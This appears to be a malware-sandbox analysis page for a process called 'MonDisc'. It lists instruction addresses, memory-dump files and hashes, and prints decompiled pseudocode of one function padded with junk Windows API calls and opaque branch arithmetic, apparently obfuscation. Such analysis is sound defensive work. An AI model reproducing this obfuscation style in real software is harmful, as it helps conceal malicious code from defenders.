0x7ff6ed0f8e3b
0x7ff6ed0f8e41
0x7ff6ed0f8e4b
0x7ff6ed0f8e57
0x7ff6ed0f8e59
0x7ff6ed0f8e5d
0x7ff6ed0f8e5f
0x7ff6ed0f8e6b
0x7ff6ed0f8e74
0x7ff6ed0f8e7c
0x7ff6ed0f8e80
0x7ff6ed0f8e84
0x7ff6ed0f8e88
0x7ff6ed0f8e8a
0x7ff6ed0f8e8c
0x7ff6ed0f8e92
0x7ff6ed0f8e94
0x7ff6ed0f8e9b
0x7ff6ed0f8ea2
0x7ff6ed0f8ea4
0x7ff6ed0f8ea8
0x7ff6ed0f8eac
0x7ff6ed0f8eb0
0x7ff6ed0f8eb2
0x7ff6ed0f8eb6
0x7ff6ed0f8eba
0x7ff6ed0f8ec0
0x7ff6ed0f8ec6
0x7ff6ed0f8ecd
0x7ff6ed0f8ed8
0x7ff6ed0f8eda
0x7ff6ed0f8edd
0x7ff6ed0f8ee0
0x7ff6ed0f8eea
0x7ff6ed0f8eed
0x7ff6ed0f8ef6
0x7ff6ed0f8efc
0x7ff6ed0f8eff
0x7ff6ed0f8f05
0x7ff6ed0f8f09
0x7ff6ed0f8f0b
0x7ff6ed0f8f10
0x7ff6ed0f8f19
0x7ff6ed0f8f2a
0x7ff6ed0f8f2f
0x7ff6ed0f8f34
0x7ff6ed0f8f39
0x7ff6ed0f8f3d
0x7ff6ed0f8f3e
0x7ff6ed0f8f42
0x7ff6ed0f8f45
0x7ff6ed0f8f47
0x7ff6ed0f8f4f
0x7ff6ed0f8f58
0x7ff6ed0f8f60
0x7ff6ed0f8f64
0x7ff6ed0f8f68
0x7ff6ed0f8f6c
0x7ff6ed0f8f6e
0x7ff6ed0f8f76
0x7ff6ed0f8f7f
0x7ff6ed0f8f85
0x7ff6ed0f8f89
0x7ff6ed0f8f90
0x7ff6ed0f8f96
0x7ff6ed0f8f9a
0x7ff6ed0f8fa0
0x7ff6ed0f8fa6
0x7ff6ed0f8fae
0x7ff6ed0f8fb9
0x7ff6ed0f8fbf
0x7ff6ed0f8fc5
0x7ff6ed0f8fc8
0x7ff6ed0f8fd0
0x7ff6ed0f8fd9
0x7ff6ed0f8fdc
0x7ff6ed0f8fde
0x7ff6ed0f8fe6
0x7ff6ed0f8ff7
0x7ff6ed0f9001
0x7ff6ed0f9004
0x7ff6ed0f900a
0x7ff6ed0f900e
0x7ff6ed0f9012
0x7ff6ed0f901a
0x7ff6ed0f9020
0x7ff6ed0f9023
0x7ff6ed0f902b
0x7ff6ed0f9034
0x7ff6ed0f903c
0x7ff6ed0f904c
0x7ff6ed0f9053
0x7ff6ed0f9059
0x7ff6ed0f9063
0x7ff6ed0f9065
0x7ff6ed0f9072
0x7ff6ed0f9078
0x7ff6ed0f907b
0x7ff6ed0f907d
0x7ff6ed0f9080
0x7ff6ed0f9087
0x7ff6ed0f908d
0x7ff6ed0f9095
0x7ff6ed0f909e
0x7ff6ed0f90a2
0x7ff6ed0f90a6
0x7ff6ed0f90ae
0x7ff6ed0f90b4
0x7ff6ed0f90b8
0x7ff6ed0f90c2
0x7ff6ed0f90c5
0x7ff6ed0f90cb
0x7ff6ed0f90cf
0x7ff6ed0f90d1
0x7ff6ed0f90d6
0x7ff6ed0f90df
0x7ff6ed0f90e8
0x7ff6ed0f90eb
0x7ff6ed0f90ed
0x7ff6ed0f90f5
0x7ff6ed0f9100
0x7ff6ed0f9106
0x7ff6ed0f910c
0x7ff6ed0f9110
0x7ff6ed0f9116
0x7ff6ed0f9120
0x7ff6ed0f9128
0x7ff6ed0f912b
0x7ff6ed0f9132
0x7ff6ed0f9138
0x7ff6ed0f9140
0x7ff6ed0f9149
0x7ff6ed0f914d
0x7ff6ed0f9151
0x7ff6ed0f9155
0x7ff6ed0f9157
0x7ff6ed0f915d
0x7ff6ed0f915f
0x7ff6ed0f916c
0x7ff6ed0f9172
0x7ff6ed0f9175
0x7ff6ed0f9177
0x7ff6ed0f917a
0x7ff6ed0f9181
0x7ff6ed0f9187
0x7ff6ed0f918f
0x7ff6ed0f919b
0x7ff6ed0f91a1
0x7ff6ed0f91a5
0x7ff6ed0f91ab
0x7ff6ed0f91ca
0x7ff6ed0f91d0
0x7ff6ed0f91da
0x7ff6ed0f91e0
0x7ff6ed0f91e5
0x7ff6ed0f91f6
0x7ff6ed0f91fc
0x7ff6ed0f91ff
0x7ff6ed0f9201
0x7ff6ed0f9207
0x7ff6ed0f920d
0x7ff6ed0f9215
0x7ff6ed0f921e
0x7ff6ed0f9221
0x7ff6ed0f9223
0x7ff6ed0f922b
0x7ff6ed0f9236
0x7ff6ed0f923c
0x7ff6ed0f9242
0x7ff6ed0f9248
0x7ff6ed0f9250
0x7ff6ed0f9259
0x7ff6ed0f925c
0x7ff6ed0f925e
0x7ff6ed0f9266
0x7ff6ed0f9271
0x7ff6ed0f9277
0x7ff6ed0f927d
0x7ff6ed0f9285
0x7ff6ed0f928e
0x7ff6ed0f9291
0x7ff6ed0f9293
0x7ff6ed0f929b
0x7ff6ed0f92a6
0x7ff6ed0f92ac
0x7ff6ed0f92b2
0x7ff6ed0f92ba
0x7ff6ed0f92c3
0x7ff6ed0f92c6
0x7ff6ed0f92c8
0x7ff6ed0f92ce
0x7ff6ed0f92d6
0x7ff6ed0f92e1
0x7ff6ed0f92e7
0x7ff6ed0f92ed
0x7ff6ed0f92f3
0x7ff6ed0f92fb
0x7ff6ed0f9304
0x7ff6ed0f930c
0x7ff6ed0f930f
0x7ff6ed0f9313
0x7ff6ed0f9317
0x7ff6ed0f931b
0x7ff6ed0f931d
0x7ff6ed0f9327
0x7ff6ed0f9337
0x7ff6ed0f9339
0x7ff6ed0f9341
0x7ff6ed0f9347
0x7ff6ed0f934a
0x7ff6ed0f934c
0x7ff6ed0f9356
0x7ff6ed0f9361
0x7ff6ed0f9366
0x7ff6ed0f936c
0x7ff6ed0f9376
0x7ff6ed0f937f
0x7ff6ed0f9385
0x7ff6ed0f9389
0x7ff6ed0f9390
0x7ff6ed0f9396
0x7ff6ed0f93a2
0x7ff6ed0f93a4
0x7ff6ed0f93ad
0x7ff6ed0f93b0
0x7ff6ed0f93b2
0x7ff6ed0f93b8
0x7ff6ed0f93ba
0x7ff6ed0f93c0
0x7ff6ed0f93ca
0x7ff6ed0f93d1
0x7ff6ed0f93e7
0x7ff6ed0f93ef
0x7ff6ed0f93fc
0x7ff6ed0f9405
0x7ff6ed0f940b
0x7ff6ed0f940e
0x7ff6ed0f9418
0x7ff6ed0f941a
0x7ff6ed0f941f
0x7ff6ed0f9429
0x7ff6ed0f942c
0x7ff6ed0f9436
0x7ff6ed0f943f
0x7ff6ed0f9445
0x7ff6ed0f9448
0x7ff6ed0f944a
0x7ff6ed0f9454
0x7ff6ed0f945d
0x7ff6ed0f9465
0x7ff6ed0f946b
0x7ff6ed0f946f
0x7ff6ed0f9473
0x7ff6ed0f9477
0x7ff6ed0f9479
0x7ff6ed0f947d
0x7ff6ed0f947f
0x7ff6ed0f9482
0x7ff6ed0f9489
0x7ff6ed0f948f
0x7ff6ed0f9499
0x7ff6ed0f94a5
0x7ff6ed0f94a7
0x7ff6ed0f94ab
0x7ff6ed0f94ad
0x7ff6ed0f94b4
0x7ff6ed0f94ba
0x7ff6ed0f94c4
0x7ff6ed0f94cd
0x7ff6ed0f94cf
0x7ff6ed0f94d4
0x7ff6ed0f94e2
0x7ff6ed0f94ea
0x7ff6ed0f94f2
0x7ff6ed0f94f6
0x7ff6ed0f94fa
0x7ff6ed0f94fe
0x7ff6ed0f9500
0x7ff6ed0f9506
0x7ff6ed0f950e
0x7ff6ed0f9516
0x7ff6ed0f951c
0x7ff6ed0f9520
0x7ff6ed0f9527
0x7ff6ed0f952d
0x7ff6ed0f952f
0x7ff6ed0f9537
0x7ff6ed0f953f
0x7ff6ed0f9547
0x7ff6ed0f9551
0x7ff6ed0f9557
0x7ff6ed0f955f
0x7ff6ed0f9565
0x7ff6ed0f956d
0x7ff6ed0f9575
0x7ff6ed0f9578
0x7ff6ed0f957a
0x7ff6ed0f9582
0x7ff6ed0f958c
0x7ff6ed0f9592
0x7ff6ed0f9598
0x7ff6ed0f959e
0x7ff6ed0f95a6
0x7ff6ed0f95ac
0x7ff6ed0f95b4
0x7ff6ed0f95ba
0x7ff6ed0f95c0
0x7ff6ed0f95c6
0x7ff6ed0f95ce
0x7ff6ed0f95d6
0x7ff6ed0f95de
0x7ff6ed0f95e2
0x7ff6ed0f95e6
0x7ff6ed0f95ee
0x7ff6ed0f95f6
0x7ff6ed0f95fc
0x7ff6ed0f9600
0x7ff6ed0f9607
0x7ff6ed0f960d
0x7ff6ed0f9613
0x7ff6ed0f961b
0x7ff6ed0f9623
0x7ff6ed0f962b
0x7ff6ed0f962f
0x7ff6ed0f9633
0x7ff6ed0f9637
0x7ff6ed0f9639
0x7ff6ed0f963b
0x7ff6ed0f9643
0x7ff6ed0f964b
0x7ff6ed0f964f
0x7ff6ed0f9653
0x7ff6ed0f9657
0x7ff6ed0f9659
0x7ff6ed0f965d
0x7ff6ed0f9661
0x7ff6ed0f9667
0x7ff6ed0f9669
0x7ff6ed0f9671
0x7ff6ed0f967c
0x7ff6ed0f967e
0x7ff6ed0f9682
0x7ff6ed0f9686
0x7ff6ed0f968c
0x7ff6ed0f9693
0x7ff6ed0f9699
0x7ff6ed0f96a1
0x7ff6ed0f96ac
0x7ff6ed0f96ae
0x7ff6ed0f96b4
0x7ff6ed0f96c1
0x7ff6ed0f96c7
0x7ff6ed0f96ca
0x7ff6ed0f96cc
0x7ff6ed0f96d1
0x7ff6ed0f96dc
0x7ff6ed0f96e4
0x7ff6ed0f96e7
0x7ff6ed0f96ef
0x7ff6ed0f96f5
0x7ff6ed0f96fc
0x7ff6ed0f9706
0x7ff6ed0f970c
0x7ff6ed0f9712
0x7ff6ed0f9718
0x7ff6ed0f971e
0x7ff6ed0f9724
0x7ff6ed0f972b
0x7ff6ed0f9736
0x7ff6ed0f973c
0x7ff6ed0f973f
0x7ff6ed0f9745
0x7ff6ed0f974c
0x7ff6ed0f9752
0x7ff6ed0f9756
0x7ff6ed0f9758
0x7ff6ed0f9764
0x7ff6ed0f976e
0x7ff6ed0f9774
0x7ff6ed0f9779
0x7ff6ed0f9780
0x7ff6ed0f9788
0x7ff6ed0f9790
0x7ff6ed0f9794
0x7ff6ed0f9798
0x7ff6ed0f979c
0x7ff6ed0f97a2
0x7ff6ed0f97a5
0x7ff6ed0f97ab
0x7ff6ed0f97b5
0x7ff6ed0f97bc
0x7ff6ed0f97c2
0x7ff6ed0f97cc
0x7ff6ed0f97d7
0x7ff6ed0f97d9
0x7ff6ed0f97dd
0x7ff6ed0f97df
0x7ff6ed0f97eb
0x7ff6ed0f97f3
0x7ff6ed0f97f9
0x7ff6ed0f97fd
0x7ff6ed0f9804
0x7ff6ed0f980a
0x7ff6ed0f980f
0x7ff6ed0f9816
0x7ff6ed0f981e
0x7ff6ed0f9821
0x7ff6ed0f9823
0x7ff6ed0f982a
0x7ff6ed0f9834
0x7ff6ed0f983a
0x7ff6ed0f9840
0x7ff6ed0f9847
0x7ff6ed0f984f
0x7ff6ed0f9852
0x7ff6ed0f9854
0x7ff6ed0f985a
0x7ff6ed0f9861
0x7ff6ed0f9871
0x7ff6ed0f987e
0x7ff6ed0f9884
0x7ff6ed0f9887
0x7ff6ed0f9889
0x7ff6ed0f9890
0x7ff6ed0f9898
0x7ff6ed0f98a0
0x7ff6ed0f98a4
0x7ff6ed0f98a8
0x7ff6ed0f98ac
0x7ff6ed0f98ae
0x7ff6ed0f98b0
0x7ff6ed0f98b7
0x7ff6ed0f98bf
0x7ff6ed0f98c3
0x7ff6ed0f98c7
0x7ff6ed0f98cb
0x7ff6ed0f98cd
0x7ff6ed0f98d1
0x7ff6ed0f98d5
0x7ff6ed0f98db
0x7ff6ed0f98e2
0x7ff6ed0f98ea
0x7ff6ed0f98f2
0x7ff6ed0f98f6
0x7ff6ed0f98fa
0x7ff6ed0f98fe
0x7ff6ed0f9900
0x7ff6ed0f9906
0x7ff6ed0f990d
0x7ff6ed0f9915
0x7ff6ed0f991b
0x7ff6ed0f991f
0x7ff6ed0f9926
0x7ff6ed0f992c
0x7ff6ed0f9931
0x7ff6ed0f9938
0x7ff6ed0f9940
0x7ff6ed0f9943
0x7ff6ed0f9945
0x7ff6ed0f9948
0x7ff6ed0f994f
0x7ff6ed0f9955
0x7ff6ed0f995f
0x7ff6ed0f996a
0x7ff6ed0f996c
0x7ff6ed0f9970
0x7ff6ed0f9972
0x7ff6ed0f997c
0x7ff6ed0f997e
0x7ff6ed0f9985
0x7ff6ed0f998b
0x7ff6ed0f9992
0x7ff6ed0f999d
0x7ff6ed0f999f
0x7ff6ed0f99a3
0x7ff6ed0f99a5
0x7ff6ed0f99af
0x7ff6ed0f99b6
0x7ff6ed0f99c0
0x7ff6ed0f99c6
0x7ff6ed0f99cc
0x7ff6ed0f99d6
0x7ff6ed0f99dc
0x7ff6ed0f99e2
0x7ff6ed0f99e8
0x7ff6ed0f99ee
0x7ff6ed0f99f5
0x7ff6ed0f99fd
0x7ff6ed0f9a00
0x7ff6ed0f9a04
0x7ff6ed0f9a0a
0x7ff6ed0f9a11
0x7ff6ed0f9a1b
0x7ff6ed0f9a21
0x7ff6ed0f9a27
0x7ff6ed0f9a29
0x7ff6ed0f9a30
0x7ff6ed0f9a38
0x7ff6ed0f9a40
0x7ff6ed0f9a44
0x7ff6ed0f9a48
0x7ff6ed0f9a4c
0x7ff6ed0f9a4e
0x7ff6ed0f9a54
0x7ff6ed0f9a5b
0x7ff6ed0f9a63
0x7ff6ed0f9a69
0x7ff6ed0f9a6d
0x7ff6ed0f9a74
0x7ff6ed0f9a7c
0x7ff6ed0f9a82
0x7ff6ed0f9a85
0x7ff6ed0f9a8f
0x7ff6ed0f9a92
0x7ff6ed0f9a98
0x7ff6ed0f9a9c
0x7ff6ed0f9a9e
0x7ff6ed0f9aa4
0x7ff6ed0f9aaa
0x7ff6ed0f9aaf
0x7ff6ed0f9ab4
0x7ff6ed0f9abc
0x7ff6ed0f9ac4
0x7ff6ed0f9ac8
0x7ff6ed0f9acc
0x7ff6ed0f9ad0
0x7ff6ed0f9ad2
0x7ff6ed0f9adc
0x7ff6ed0f9ae3
0x7ff6ed0f9aeb
0x7ff6ed0f9aef
0x7ff6ed0f9af4
0x7ff6ed0f9af8
0x7ff6ed0f9aff
0x7ff6ed0f9b05
0x7ff6ed0f9b0c
0x7ff6ed0f9b14
0x7ff6ed0f9b1c
0x7ff6ed0f9b21
0x7ff6ed0f9b25
0x7ff6ed0f9b2b
0x7ff6ed0f9b32
0x7ff6ed0f9b3d
0x7ff6ed0f9b43
0x7ff6ed0f9b46
0x7ff6ed0f9b4b
0x7ff6ed0f9b51
0x7ff6ed0f9b53
0x7ff6ed0f9b57
0x7ff6ed0f9b5a

Memory Dump Source

Source File: 0000000F.00000002.460721727.00007FF6ED0F1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6ED0F0000, based on PE: true

Associated: 0000000F.00000002.460678290.00007FF6ED0F0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.462491399.00007FF6ED1EE000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463407838.00007FF6ED236000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463433786.00007FF6ED239000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463580899.00007FF6ED248000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463744441.00007FF6ED262000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463787572.00007FF6ED3BD000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.463880996.00007FF6ED3BF000.00000020.00000001.01000000.00000008.sdmpDownload File
Associated: 0000000F.00000002.464361983.00007FF6ED3F0000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_7ff6ed0f0000_MonDisc.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19466474feee5869fef1398aee390ee7b46f57e004e48e6c13e1203a141ea1ad
Instruction ID: 012b1e65d9b01e352936986e1eee7c6f6f67b22393084679cd895a64326ede47
Opcode Fuzzy Hash: 19466474feee5869fef1398aee390ee7b46f57e004e48e6c13e1203a141ea1ad
Instruction Fuzzy Hash: 7E3229A7D1CA034AFA51AB30991A3F922956F25351F780636D54EDB293FF3EB085810F

Uniqueness

Uniqueness Score: -1.00%

Function 00007FF6ED0F63BA Relevance: 36.3, APIs: 24, Instructions: 291
timeCOMMONCrypto

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 51%

			E00007FF67FF6ED0F63BA(void* __edi, void* __esi, void* __eflags, long long __rbp, void* _a96, void* _a104, void* _a112) {
				signed int _t27;
				signed int _t49;
				signed int _t54;
				signed int _t60;
				signed int _t65;
				signed int _t71;
				signed int _t76;
				signed int _t83;
				signed int _t95;
				signed int _t100;
				signed int _t105;
				signed int _t110;
				struct HWND__* _t117;
				void* _t118;
				signed int _t122;
				signed int _t153;
				signed int _t159;
				signed int _t164;
				signed int _t169;
				signed int _t174;
				signed int _t180;
				void* _t266;
				void* _t269;
				void* _t271;
				void* _t273;
				void* _t274;
				void* _t275;
				void* _t276;
				void* _t277;
				void* _t279;
				void* _t280;
				void* _t283;
				void* _t286;
				void* _t287;
				void* _t288;
				void* _t289;
				void* _t290;
				void* _t292;
				void* _t295;
				void* _t296;
				void* _t297;
				void* _t298;
				void* _t299;
				void* _t301;
				void* _t302;
				void* _t307;
				void* _t309;
				void* _t317;

				_t269 = __eflags;
				_t266 = __edi;
				GetDesktopWindow();
				 *0xed236f60 = 0x40;
				 *0xed236f60 = 0x31;
				_t27 = E00007FF67FF6ED184484(_t301);
				if (_t269 >= 0) goto 0xed0f63eb;
				if (((_t27 & r13d) - r15d | r12d) + r15d - 0x25 > 0) goto 0xed0f63f5;
				_t271 = 0x31 + r15b - 0x39;
				if (_t271 < 0) goto 0xed0f63cc;
				 *0xed236f60 = r15d;
				E00007FF67FF6ED184484(_t301);
				if (_t271 >= 0) goto 0xed0f6411;
				asm("movsd xmm6, [0x113697]");
				goto 0xed0f6466;
				if (0x4d - 0x4e >= 0) goto 0xed0f6476;
				 *0xed236f60 = 0x1a;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0x4f;
				_t273 = 0x4f + r15b - 0x57;
				if (_t273 < 0) goto 0xed0f6422;
				 *0xed236f60 = 0x0000004d + r15b & 0x000000ff;
				E00007FF67FF6ED184484(_t301);
				if (_t273 >= 0) goto 0xed0f6466;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t273 != 0) goto 0xed0f641b;
				if (_t273 != 0) goto 0xed0f641b;
				GetDoubleClickTime();
				GetSystemDefaultLangID();
				 *0xed236f60 = 0xf;
				_t274 = 0xf + r15b - 0x19;
				if (_t274 < 0) goto 0xed0f647e;
				 *0xed236f68 = __rbp;
				E00007FF67FF6ED184AF0(2, _t302, 0xed0f69d8, _t307, _t317); // executed
				GetDoubleClickTime();
				_t49 = E00007FF67FF6ED184484(_t301);
				if (_t274 >= 0) goto 0xed0f64c6;
				_t275 = ((_t49 & r13d) - r15d | r12d) + r15d - 0x78;
				if (_t275 < 0) goto 0xed0f64ee;
				_t54 = E00007FF67FF6ED184484(_t301);
				if (_t275 >= 0) goto 0xed0f64de;
				_t276 = ((_t54 & r13d) - r15d | r12d) + r15d - 0x78;
				 *0xed236f60 = 0 | _t276 >= 0x00000000;
				goto 0xed0f6509;
				 *0xed236f60 = 0x6a;
				 *0xed236f60 = r15d;
				 *0xed236f60 = 0;
				GetDoubleClickTime();
				_t60 = E00007FF67FF6ED184484(_t301);
				if (_t276 >= 0) goto 0xed0f6522;
				_t277 = ((_t60 & r13d) - r15d | r12d) + r15d - 0x5f;
				if (_t277 <= 0) goto 0xed0f6594;
				_t65 = E00007FF67FF6ED184484(_t301);
				if (_t277 >= 0) goto 0xed0f653a;
				if (((_t65 & r13d) - r15d | r12d) + r15d - 0x47 > 0) goto 0xed0f6552;
				 *0xed236f60 = 0x30;
				_t279 = 0x30 + r15b - 0x33;
				if (_t279 < 0) goto 0xed0f6541;
				_t71 = E00007FF67FF6ED184484(_t301);
				if (_t279 >= 0) goto 0xed0f6565;
				_t280 = ((_t71 & r13d) - r15d | r12d) + r15d - 0x47;
				 *0xed236f60 = 0 | _t280 > 0x00000000;
				_t76 = E00007FF67FF6ED184484(_t301);
				if (_t280 >= 0) goto 0xed0f6586;
				 *0xed236f60 = 0 | ((_t76 & r13d) - r15d | r12d) + r15d - 0x0000005f > 0x00000000;
				goto 0xed0f65bc;
				if (0x1c - 0x24 >= 0) goto 0xed0f65d4;
				 *0xed236f60 = 0x3d;
				_t283 = 0x3d + r15b - 0x50;
				if (_t283 < 0) goto 0xed0f659f;
				 *0xed236f60 = 0x0000001c + r15b & 0x000000ff;
				_t83 = E00007FF67FF6ED184484(_t301);
				if (_t283 >= 0) goto 0xed0f65cf;
				if (((_t83 & r13d) - r15d | r12d) + r15d == 7) goto 0xed0f6598;
				GetDoubleClickTime();
				GetDesktopWindow();
				 *0xed236f60 = r15d;
				GetWindowTextLengthW(??);
				 *0xed236f60 = 0x1d;
				if (0x1d + r15b - 0x24 < 0) goto 0xed0f65f1;
				GetDoubleClickTime();
				 *0xed236f60 = r15d;
				 *0xed236f60 = r15d;
				 *0xed236f60 = 0x52;
				_t286 = 0x52 + r15b - 0x57;
				if (_t286 < 0) goto 0xed0f660a;
				GetWindowTextLengthW(??);
				_t95 = E00007FF67FF6ED184484(_t301);
				if (_t286 >= 0) goto 0xed0f6644;
				_t287 = ((_t95 & r13d) - r15d | r12d) + r15d - 0x18;
				if (_t287 >= 0) goto 0xed0f6673;
				 *0xed236f60 = r15d;
				_t100 = E00007FF67FF6ED184484(_t301);
				if (_t287 >= 0) goto 0xed0f6663;
				_t288 = ((_t100 & r13d) - r15d | r12d) + r15d - 0x18;
				 *0xed236f60 = 0 | _t288 < 0x00000000;
				goto 0xed0f66ac;
				_t105 = E00007FF67FF6ED184484(_t301);
				if (_t288 >= 0) goto 0xed0f6686;
				_t289 = ((_t105 & r13d) - r15d | r12d) + r15d - 0x6c;
				if (_t289 <= 0) goto 0xed0f66ac;
				_t110 = E00007FF67FF6ED184484(_t301);
				if (_t289 >= 0) goto 0xed0f669e;
				_t290 = ((_t110 & r13d) - r15d | r12d) + r15d - 0x6c;
				 *0xed236f60 = 0 | _t290 > 0x00000000;
				GetCommandLineW();
				GetForegroundWindow();
				_t117 = GetTopWindow(??);
				r9d = _t266;
				r8d = r14d;
				_t118 = E00007FF67FF6ED0FD980(_t117, __esi, _t302, __rbp, _t309); // executed
				E00007FF67FF6ED0FE0A0(E00007FF67FF6ED184AF0(0x7ff6ed0f69da, _t302, 0xed0f69d8, _t307, _t317), _t266, __rbp);
				E00007FF67FF6ED1EE020(); // executed
				GetForegroundWindow(); // executed
				_t122 = E00007FF67FF6ED184484(_t301);
				if (_t290 >= 0) goto 0xed0f6707;
				dil = 0x5b;
				if (((_t122 & r13d) - r15d | r12d) + r15d == 0x13) goto 0xed0f67f0;
				asm("movsd xmm6, [0x11344d]");
				_t292 = 0x5a - dil;
				if (_t292 >= 0) goto 0xed0f67f0;
				E00007FF67FF6ED184484(_t301);
				if (_t292 >= 0) goto 0xed0f6737;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x1133b1]");
				if (_t292 < 0) goto 0xed0f6779;
				GetForegroundWindow();
				E00007FF67FF6ED184484(_t301);
				if (_t292 >= 0) goto 0xed0f6762;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, [0x113384]");
				goto 0xed0f67c2;
				E00007FF67FF6ED184484(_t301);
				if (_t292 >= 0) goto 0xed0f678c;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				E00007FF67FF6ED184484(_t301);
				if (_t292 >= 0) goto 0xed0f67ab;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("ucomisd xmm6, xmm0");
				if (_t292 != 0) goto 0xed0f67c0;
				if (_t292 != 0) goto 0xed0f67c0;
				goto 0xed0f67c2;
				 *0xed236f60 = 0;
				 *0xed236f60 = 0x0000005a + r15b & 0x000000ff;
				_t153 = E00007FF67FF6ED184484(_t301);
				if (_t292 >= 0) goto 0xed0f67e7;
				if (((_t153 & r13d) - r15d | r12d) + r15d != 0x13) goto 0xed0f671b;
				GetTickCount();
				goto 0xed0f6884;
				if (0x12 - 0x18 >= 0) goto 0xed0f68a0;
				_t159 = E00007FF67FF6ED184484(_t301);
				if (0x12 - 0x18 >= 0) goto 0xed0f6819;
				_t295 = ((_t159 & r13d) - r15d | r12d) + r15d - 0x30;
				if (_t295 > 0) goto 0xed0f6878;
				_t164 = E00007FF67FF6ED184484(_t301);
				if (_t295 >= 0) goto 0xed0f6831;
				_t296 = ((_t164 & r13d) - r15d | r12d) + r15d - 0x4f;
				if (_t296 <= 0) goto 0xed0f6857;
				_t169 = E00007FF67FF6ED184484(_t301);
				if (_t296 >= 0) goto 0xed0f6849;
				_t297 = ((_t169 & r13d) - r15d | r12d) + r15d - 0x4f;
				 *0xed236f60 = 0 | _t297 > 0x00000000;
				_t174 = E00007FF67FF6ED184484(_t301);
				if (_t297 >= 0) goto 0xed0f686a;
				_t298 = ((_t174 & r13d) - r15d | r12d) + r15d - 0x30;
				 *0xed236f60 = 0 | _t298 <= 0x00000000;
				 *0xed236f60 = 0x00000012 + r15b & 0x000000ff;
				_t180 = E00007FF67FF6ED184484(_t301);
				if (_t298 >= 0) goto 0xed0f6897;
				_t299 = ((_t180 & r13d) - r15d | r12d) + r15d - 3;
				if (_t299 != 0) goto 0xed0f67fd;
				GetWindowTextLengthW(??);
				IsIconic(??);
				 *0xed236f60 = r15d;
				GetCommandLineW();
				GetDoubleClickTime();
				 *0xed236f60 = 0x40;
				GetUserDefaultLangID();
				GetDesktopWindow();
				GetParent(??);
				E00007FF67FF6ED184484(_t301);
				if (_t299 >= 0) goto 0xed0f68f4;
				asm("movsd xmm6, [0x113314]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				if (_t299 <= 0) goto 0xed0f6930;
				E00007FF67FF6ED184484(_t301);
				if (_t299 >= 0) goto 0xed0f691d;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm0, xmm6");
				goto 0xed0f6983;
				E00007FF67FF6ED184484(_t301);
				if (_t299 >= 0) goto 0xed0f6943;
				asm("movsd xmm6, [0x113275]");
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				if (_t299 >= 0) goto 0xed0f695f;
				 *0xed1ee398();
				E00007FF67FF6ED184484(_t301);
				if (_t299 >= 0) goto 0xed0f6972;
				asm("movd xmm0, eax");
				asm("cvtdq2pd xmm0, xmm0");
				asm("comisd xmm6, xmm0");
				 *0xed236f60 = 0 | _t299 >= 0x00000000;
				 *0xed236f60 = r15d;
				dil = dil + r15b;
				 *0xed236f60 = 0;
				 *0xed236f60 = r15d;
				 *0xed236f60 = dil & 0xffffffff;
				if (dil - 0x5e < 0) goto 0xed0f6990;
				asm("movaps xmm6, [esp+0x20]");
				return _t118;
			}

0x7ff6ed0f63ba
0x7ff6ed0f63ba
0x7ff6ed0f63ba
0x7ff6ed0f63c0
0x7ff6ed0f63d2
0x7ff6ed0f63d8
0x7ff6ed0f63e0
0x7ff6ed0f63ee
0x7ff6ed0f63f0
0x7ff6ed0f63f3
0x7ff6ed0f63f5
0x7ff6ed0f63fe
0x7ff6ed0f6406
0x7ff6ed0f6411
0x7ff6ed0f6419
0x7ff6ed0f641e
0x7ff6ed0f6425
0x7ff6ed0f6432
0x7ff6ed0f643c
0x7ff6ed0f6442
0x7ff6ed0f6445
0x7ff6ed0f644d
0x7ff6ed0f6453
0x7ff6ed0f645b
0x7ff6ed0f6466
0x7ff6ed0f646a
0x7ff6ed0f646e
0x7ff6ed0f6472
0x7ff6ed0f6474
0x7ff6ed0f6476
0x7ff6ed0f647e
0x7ff6ed0f648a
0x7ff6ed0f6490
0x7ff6ed0f6493
0x7ff6ed0f649c
0x7ff6ed0f64a8
0x7ff6ed0f64ad
0x7ff6ed0f64b3
0x7ff6ed0f64bb
0x7ff6ed0f64c6
0x7ff6ed0f64c9
0x7ff6ed0f64cb
0x7ff6ed0f64d3
0x7ff6ed0f64e0
0x7ff6ed0f64e6
0x7ff6ed0f64ec
0x7ff6ed0f64ee
0x7ff6ed0f64f8
0x7ff6ed0f64ff
0x7ff6ed0f6509
0x7ff6ed0f650f
0x7ff6ed0f6517
0x7ff6ed0f6522
0x7ff6ed0f6525
0x7ff6ed0f6527
0x7ff6ed0f652f
0x7ff6ed0f653d
0x7ff6ed0f6547
0x7ff6ed0f654d
0x7ff6ed0f6550
0x7ff6ed0f6552
0x7ff6ed0f655a
0x7ff6ed0f6567
0x7ff6ed0f656d
0x7ff6ed0f6573
0x7ff6ed0f657b
0x7ff6ed0f658e
0x7ff6ed0f6596
0x7ff6ed0f659b
0x7ff6ed0f65a5
0x7ff6ed0f65ab
0x7ff6ed0f65ae
0x7ff6ed0f65b6
0x7ff6ed0f65bc
0x7ff6ed0f65c4
0x7ff6ed0f65d2
0x7ff6ed0f65d4
